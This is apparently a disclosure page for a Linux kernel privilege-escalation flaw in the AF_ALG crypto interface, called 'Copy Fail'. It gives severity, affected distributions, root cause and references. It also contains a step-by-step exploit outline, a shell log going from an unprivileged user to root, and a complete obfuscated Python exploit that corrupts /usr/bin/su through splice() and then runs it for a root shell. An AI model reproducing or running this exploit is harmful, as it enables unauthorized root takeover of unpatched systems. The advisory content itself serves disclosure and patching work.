Copy Fail — CVE-2026-31431

Copy Fail is a Linux kernel vulnerability in the AF_ALG crypto API (AEAD authencesn path) that allows a local unprivileged user to escalate privileges to root.

The issue stems from an in-place buffer handling flaw combined with splice() page-cache sharing, which causes kernel crypto operations to overwrite file-backed memory pages. By targeting privileged binaries (e.g., /usr/bin/su), an attacker can achieve reliable local privilege escalation (LPE).

CVSS v3.1: 9.8 (Critical)
Vector: AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Broadly affects kernels from ~2017 onward (depending on patch status)

Affected distributions

Ubuntu
Debian
RHEL / CentOS / Fedora
Amazon Linux
SUSE Linux Enterprise
Various container-optimized kernel builds

PoC || GTFO

A typical proof-of-concept performs the following steps:

Creates an AF_ALG AEAD socket
Selects the vulnerable authencesn crypto transformation
Opens a privileged binary (e.g., /usr/bin/su)
Uses splice() to map file-backed page cache pages into kernel crypto buffers
Triggers in-place AEAD processing
Causes kernel to overwrite shared page-cache memory
Repeats controlled 4-byte writes to corrupt executable contents
Executes modified binary → root shell

N/ABASH

kdev :: ~/copyfail » id
uid=1001(void) gid=1001(void) groups=1001(void)
 
kdev :: ~/copyfail » uname -a && cat /etc/issue
Linux kdev 6.12.25-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.25-1kali1 (2025-04-30) x86_64 GNU/Linux
Kali GNU/Linux Rolling \n \l
 
kdev :: ~/copyfail » python3 copy_fail.py          
# id
uid=0(root) gid=1001(void) groups=1001(void)

N/APYTHON

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

ℹ Note — The python script is heavily minified and obfuscated. Variable names, control flow, and structure have been compressed. An expanded, more transparent version can be found here.

Root Cause

A design flaw in AF_ALG’s AEAD implementation where:

input and output buffers may share underlying page-cache pages
splice() allows zero-copy page reuse across subsystems
in-place crypto operations overwrite shared memory without proper isolation

This leads to a cross-subsystem memory aliasing condition.

References

Original writeup: https://copy.fail/
Technical analysis: https://xint.io/blog/copy-fail-linux-distributions/